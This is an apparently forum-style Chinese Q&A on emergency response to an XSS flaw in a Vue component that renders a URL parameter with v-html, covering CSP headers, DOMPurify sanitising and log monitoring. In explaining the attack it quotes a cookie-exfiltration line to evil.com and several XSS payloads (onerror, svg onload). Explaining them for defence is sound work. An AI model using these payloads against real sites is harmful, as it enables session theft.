前端被XSS攻击了,应急响应该怎么做?
我们线上 Vue 项目突然收到用户反馈,页面里弹出了奇怪的 alert,怀疑是 XSS 攻击。我看了下代码,确实有个地方直接用了 v-html 渲染用户输入的内容,但之前没做任何过滤。现在想知道:一旦确认被攻击,除了立刻下线功能,前端还能做哪些应急处理?比如能不能临时加个 CSP 头或者用 JS 拦截?
这是出问题的组件片段:
<template>
<div>
<div v-html="userComment"></div>
</div>
</template>
<script>
export default {
data() {
return {
userComment: this.$route.query.comment || ''
}
}
}
</script>
v-html直接渲染了 URL query 参数里的用户输入,这纯属裸奔。应急处理分三步走,别光盯着前端看,但前端确实能做点“止血”操作:
第一,立刻把
v-html换掉,别犹豫。哪怕临时改成{{ userComment }}用文本渲染也比 XSS 漏洞强。如果业务确实需要富文本,那必须用DOMPurify之类库做白名单过滤,别自己写正则去转义,那玩意儿根本防不住所有 payload。第二,如果改代码要时间,至少在服务端或 CDN 层加个 CSP 头,比如:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.xxx.com; object-src 'none'注意:
'unsafe-inline'和'unsafe-eval'虽然能救急,但会削弱 CSP 效果,能不用就别加,优先用 nonce 或 hash 方式注入内联脚本。如果连 CSP 都加不了,至少先关掉所有内联事件和eval,比如把onclick="xxx"全改成addEventListener绑定。第三,别用纯前端 JS 拦截 XSS,比如监听
alert或console.log—— 这玩意儿防御力跟纸糊的差不多,攻击者直接重写alert或用new Image().src='http://evil.com/?'+document.cookie就绕过去了。真正能拦住的只有 CSP + 输入过滤。顺带一提,你这代码里
this.$route.query.comment直接拿 URL 参数当输入,属于高危操作。即使后面加了过滤,也建议把所有用户可控输入(包括 URL、localStorage、WebSocket 消息、第三方 SDK 传进来的数据)都当成不可信数据处理,别留侥幸心理。等上线修复后,建议用
burp或xss-checker这类工具扫一遍全站的富文本渲染点,很多坑都是“之前没出事就以为没事”,其实只是运气好没触发到 payload。具体来说,分几个阶段处理:
第一步:立刻阻断攻击链,防止进一步扩散
现在最紧急的是停止继续注入恶意脚本的入口,也就是你这段代码里
v-html="userComment"这个点。但注意,光改代码不够——用户已经访问过带恶意参数的页面,脚本已经执行了,所以要立刻在服务端做两件事:1. 对
comment参数做输入过滤(服务端层面),比如用正则拦截<script、javascript:、onerror=等高危模式2. 对所有用户输入的富文本字段统一做 HTML 清理(推荐用白名单过滤库,比如 DOMPurify,后面细说)
纯前端临时加个 JS 拦截其实意义不大,因为恶意脚本可能已经注入到全局作用域(比如挂了
window.onload、addEventListener('click', ...)),你再在组件里加监听,根本来不及——脚本执行顺序比你的组件挂载还早。第二步:紧急兜底:加 CSP(Content Security Policy)
这个可以做,而且效果立竿见影,强烈建议立刻加,哪怕只加一条临时头:
在服务端响应头里加:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';等等,别急——'unsafe-inline' 和 'unsafe-eval' 是为了兼容现有 Vue 项目(Vue 编译后的代码会用 eval 和内联脚本),但会削弱 CSP 防护能力。更稳妥的临时方案是先加 strict 的 CSP,然后逐步替换内联脚本:
先加这个(只允许同源脚本):
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';如果加完发现白屏了,说明你项目里有内联 script 或 eval,那就先临时允许:
Content-Security-Policy: script-src 'self' 'unsafe-inline'; object-src 'none';但记得,这只是权宜之计——长期必须去掉 'unsafe-inline',把所有内联 JS 拆成外部文件,用 nonce 或 hash 来授权(比如
script-src 'self' 'nonce-abc123')。CSP 的核心作用是:就算攻击者还能把恶意脚本注入进页面,只要 CSP 没允许它加载的域,脚本就执行不了。比如用户访问
?comment=,有 CSP 的话,这个外链脚本根本加载不进来。第三步:对用户输入做深度清洗(前端兜底)
虽然服务端过滤是第一道防线,但前端也不能完全依赖它(比如 SSR 场景、直出页面等),可以用 DOMPurify 在前端再兜一层:
安装依赖:
npm install dompurify然后改你的组件:
模板改成:
<div v-html="safeComment"></div>为什么用 DOMPurify?因为手写正则过滤 HTML 极易遗漏边界情况(比如
<img src=x onerror=alert(1)>、<svg onload=alert(1)>),而 DOMPurify 是 Mozilla 维护的工业级库,专门对抗 XSS,连 SVG/数学公式里的攻击都能拦。补充一点:别用
innerHTML、v-html直接渲染用户输入,哪怕你加了过滤——永远假设「任何用户输入都是恶意的」,除非经过白名单清洗。第四步:监控与溯源(别忘了)
应急处理完,记得加监控:
1. 在关键页面加异常上报,比如:
2. 检查服务端日志,看
?comment=参数里有没有可疑内容(比如%3Cscript%3E、javascript:),定位攻击来源。最后说点扎心的:前端防 XSS 的极限就是「减少攻击面 + 增加攻击成本」,真正的防线在服务端(输入过滤 + 输出编码)+ 基础设施(CSP、HttpOnly Cookie)。你这段代码的问题根源不是「没加 JS 拦截」,而是「信任了用户输入」——技术债迟早要还,趁这次机会把所有
v-html全部扫一遍,改用 DOMPurify 或改用textContent(如果不需要富文本)。对了,顺手在
main.js加个全局防护(不是万能,但聊胜于无):因为很多 XSS 攻击会用
setTimeout('alert(1)', 100)这种方式绕过静态扫描。总之,别纠结「前端能不能拦截」,重点是把输入过滤、CSP、输出编码三件事落实到位,下次再遇到类似问题,至少能 5 分钟内止血。